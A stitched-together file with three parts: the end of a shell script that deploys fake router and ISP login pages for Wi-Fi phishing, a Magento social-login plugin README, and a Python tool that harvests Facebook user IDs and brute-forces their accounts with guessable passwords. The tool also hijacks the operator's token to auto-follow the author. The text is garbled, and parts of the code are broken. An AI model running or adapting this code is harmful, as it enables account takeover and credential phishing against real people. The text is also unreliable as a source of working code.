$WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
dfraser74
# 1. MAGENTO 2 MARKETPLACE SOCIAL LOGIN PLUGIN Purchasing [Magento 2 Marketplace Social Login Plugin](https://landofcoder.com/magento2-marketplace-social-login.html/) Our product would definitely be a good solution for customer’s irritation when being asked to waste their time on filling in username and password boxes. Magento 2 Market Place Login Plugin allows both sellers and customers to login Marketplace Multi Vendor site by their own common social account as Facebook, Google, Twitter, Linkedin, Instagram. All you have to do is picking one of the social networks you have logged in and wait a second for being automatically signed in with amazingly all of your existing information. This is a plugin of [Magento 2 Marketplace Extension](https://landofcoder.com/magento-2-marketplace-extension.html/). To use this module smoothly, you must install Magento 2 Marketplace Module first. ## 2. Documentation - Installation guide: https://blog.landofcoder.com/magento-2-install-extension/ - User guide: http://guide.landofcoder.com/ - Download from our Live site: https://landofcoder.com/magento-2-pre-order-extension.html/ - Get Support: https://landofcoder.ticksy.com/ ## 3. Highlight Features ### Log in to 25+ most popular social networks in a flash With up to 25+ social networks supported, customers can skip tiring data input step and speed up registration process. - Facebook - Twitter - Google - Instagram - Wordpress - LinkedIn - Github - Stack overflow - Paypal - Disqus - Amazon - Pinterest - Vimeo - Dropbox - SoundCloud - [NEW] Skype - [NEW] VKontakte - [NEW] Meetup - [NEW] Foursquare - [NEW] Dribbble - [NEW] YouTube - [NEW] Twitch.tv - [NEW] Steam - [NEW] Reddit - [NEW] Windows Live - Support 15+ social networks ### Switch to Standard Registration Instantly Customers always have choice to log in via standard registration if they don’t want to use social networks accounts. ### Quick Ajax Login Customers can login easily within a second in the popup form with the help of Ajax Login ### Multiple Styles and Premade Templates You can flexibly beautify your social login section with a pack of premade templates and various social buttons styles. ### Highly Customizable Social Login Design your own Social Login section to match brand identity. Within a few click, you can change many elements in social login like text, color, background color, image. - Text - Color - Background Color - Background Image - Icon ### Adjust Social Login Buttons Order Fast & Easily Easily arrange social login buttons order and see changes immediately by dragging and dropping icons. You can also hide or call out whatever buttons you like to. ### Dynamically Display Social Login Buttons Ease your customers’ way in accessing social login option by making it more visible in your website. With add-on, you can practically place them wherever you want, especially in shopping cart section or checkout page. ### Gain Access Over A Multitude Of Customer Profiles Approach a rich source of social profile data without making you customers fill in the boring forms. ### Increase Conversion Rate A quick and simple registration process will help you lower the abandon rate. Also, customers are enable to interact smoothly with your website via their social network accounts. ### Vivid Advanced Report Advanced Report displayed in smart charts makes it easier you to view your customers’ registration networks. ### Instantly Display Profile Image Enhance user experience by syncing with profile image from social networks right after they log in with their social networks accounts ### Secure Login Customers’ internet identity is totally protected when they log in because this add-on is crafted with accomplished code and proper techniques. ### Compatible with Magento 2 Themes and Extensions This add-on works perfectly with all Magento 2 Themes and Extensions and it is frequently updated to fit new released version of Magento 2. ### Automated Welcome Email Better your very first friendly exchange between you and your customers with welcome emails sent automatically after they log in with social networks accounts. You can either use email template or write your own. ### Update Customer Information Easily Once customers have account on your site, they can update their information easily ### Engaging Popup & Popover Login Form Lively show your login form in popup or popover with Magnific Popup and fancy box. ### Attractive Login Buttons You are loaded with catchy login buttons with different shapes and sizes which will be of great visual assets for your website. ## 4. Full features: - Quick Ajax Login - Multiple Styles & Template - Support 15+ social networks: - Popover Login Form, Popup form with fancy box - Supports the standard registration - Easy to customize - Display On Any Position & Pages - Advanced Report - Change the order of social login buttons - Compatible with the most popular one step checkout - Support multiple stores - Support multiple languages - Easy to install and configure - 100% Open source - License Certificate valid for 1 live Magento installation and unlimited test - Rewrite URL - Detail Document - Free Update - Improve Your Conversion Rates - Collect Rich Customer Profile Data: Name, Gender, Email, Address - Display Customer Photo - Send Welcome Email - Update customer information easily - Provide Secure Way to Login and Register Account - Compatible with Custom & Third party Magento 2 themes - Attractive Login Button - Light FAST Never Slow Down Your Speed - Eye-catching themes - Fully Responsive & Mobile Friendly - One Click Social Connect - Auto Integrate on checkout page - Content Protection - Developer Friendly - Fully compatible with other Magento 2 extensions - Increase Customer’s Loyalty ## LandOfCoder extensions on Magento Marketplace, Github - [Magento 2 Multivendor Marketplace](https://landofcoder.com/magento-2-marketplace-extension.html/) - [Magento 2 Blog Extension](https://landofcoder.com/magento-2-blog-extension.html/) - [Magento 2 Testimonial Extension](https://landofcoder.com/testimonial-extension-for-magento2.html/) - [Magento 2 Image Gallery](https://landofcoder.com/magento-2-image-gallery.html/) - [Magento 2 Faq Extension](https://landofcoder.com/faq-extension-for-magento2.html/) - [Magento 2 Help Desk](https://landofcoder.com/magento-2-help-desk-extension.html) - [Magento 2 OUT OF STOCK NOTIFICATION](https://landofcoder.com/magento-2-out-of-stock-notification.html/) - [Magento 2 CUSTOMER QUOTATION FOR MAGENTO 2](https://landofcoder.com/magento-2-quote-extension.html/) - [Magento 2 RMA Extension](https://landofcoder.com/magento-2-rma-extension.html/) - [Magento 2 Stripe Payment](https://landofcoder.com/magento-2-stripe-payment-pro.html/) - [Magento 2 SMS Notification](https://landofcoder.com/magento-2-sms-notification-extension.html/) - [Magento 2 Page Builder](https://landofcoder.com/magento-2-page-builder.html/) - [Magento 2 Form Builder](https://landofcoder.com/magento-2-form-builder.html/) - [Magento 2 Advanced Report](https://landofcoder.com/magento-2-advanced-reports.html/) - [Magento 2 Marketplace PRO](https://landofcoder.com/magento-2-marketplace-pro.html/) - [Magento 2 Order Tracking](https://landofcoder.com/magento-2-order-tracking-extension.html/) - [Magento 2 Order Tracking PRO](https://landofcoder.com/magento-2-order-tracking-pro-extension.html/) - [Magento 2 Multiple Flat Rate](https://landofcoder.com/magento-2-multiple-flat-rate-shipping.html/) - [Magento 2 Shipping Per Product](https://landofcoder.com/magento-2-shipping-per-product.html/) - [Magento 2 Social Login](https://landofcoder.com/magento-2-social-login.html/) - [Magento 2 Store Locator](https://landofcoder.com/magento-2-store-locator.html/) - [Magento 2 Auto Search Extension](https://landofcoder.com/magento-2-search.html/) - [Magento 2 Mega Menu](https://landofcoder.com/magento-2-mega-menu.html/) - [Magento 2 Mega Menu PRO](https://landofcoder.com/magento-2-mega-menu-pro.html) - [Magento 2 Image Gallery PRO](https://landofcoder.com/magento-2-image-gallery-pro.html/) - [Magento 2 Layered Navigation](https://landofcoder.com/magento-2-layered-navigation.html/) - [Magento 2 Auction Extension](https://landofcoder.com/magento-2-auction-extension.html/) - [Magento 2 Store Credit](https://landofcoder.com/magento-2-store-credit.html/) - [Magento 2 Reward Point](https://landofcoder.com/magento-2-reward-points.html/) - [Magento 2 Follow Up Email](https://landofcoder.com/magento-2-follow-up-email.html/) - [Magento 2 Coupon Code Generator](https://landofcoder.com/magento-2-coupon-extension.html/) - [Magento 2 Hide Price](https://landofcoder.com/magento-2-hide-price.html/) - [Magento 2 Price Comparison](https://landofcoder.com/magento-2-price-comparison.html/) - [Magento 2 SMTP Extension](https://landofcoder.com/magento-2-smtp-extension.html) - [Magento 2 Price Comparison](https://landofcoder.com/magento-2-price-comparison.html/) - [Magento 2 Affiliate Extension](https://landofcoder.com/magento-2-affiliate-extension.html/) - [Magento 2 One Step Checkout](https://landofcoder.com/magento-2-one-step-checkout.html/) Sources: https://landofcoder.com/magento2-marketplace-social-login.html/
ahmar00987
#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------.(_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. |%s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig':'3f555f99fb61fcd7aa0c44f58f522ef6'} api = 'https://b-api.facebook.com/method/auth.login' response = r.get(api, params=param, headers=header) if 'session_key' in response.text and 'EAAA' in response.text: return {"status":"success","email":em,"pass":pas} elif 'www.facebook.com' in response.json()['error_msg']: return {"status":"cp","email":em,"pass":pas} else:return {"status":"error","email":em,"pass":pas} def log_mbasic(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) p = r.get("https://mbasic.facebook.com/") b = r.post("https://mbasic.facebook.com/login.php", data={"email": em, "pass": pas, "login": "submit"}) _raw_cookies_ = (";").join([ "%s=%s" % (key, value) for key, value in r.cookies.get_dict().items() ]) if "c_user" in r.cookies.get_dict().keys(): return {"status":"success","email":em,"pass":pas,"cookies":_raw_cookies_} elif "checkpoint" in r.cookies.get_dict().keys(): return {"status":"cp","email":em,"pass":pas,"cookies":_raw_cookies_} else:return {"status":"error","email":em,"pass":pas} def koki(_cookies_): samp_ = _cookies_.split(';') _cooked_cookies_ = ('%s;%s;%s;%s;%s'%(samp_[2],samp_[4],samp_[0],samp_[3],samp_[1])) return _cooked_cookies_ ### Crack Proccess class _crack_dev_: def __init__(self,files): self._Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' self.ada = [] self.cp = [] self.ko = 0 _ahmar_cici_('\n%s[%s•%s] %sCrack With Default/Manual Password [d/m]'%(_U_,_P_,_U_,_P_)) while True: f = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if f=="": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif f in ['m','M','2','02','002']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: _ahmar_cici_('%s[%s!%s] %sDump File Not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0]}) except:continue except Exception as e: _ahmar_cici_('%s[%s!%s] %sDump File not Detected'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) _ahmar_cici_('%s[%s•%s] %sExample : Pakistan,786786,223344'%(_U_,_P_,_U_,_P_)) self.pwlist() break elif f in ['d','D','1','01','001']: try: while True: try: self.apk = files self.fs = _ahmar_ahmar_(self.apk).read().splitlines() break except: continue self.fl = [] for i in self.fs: try: self.fl.append({"id":i.split("•")[0],"pw":_pass_list_(i.split("•")[1])}) except:continue start_method() put = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_(''%()) if put in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(self._Ahmar_jan_Cici_) elif put in ['1','01','001','a']: started() 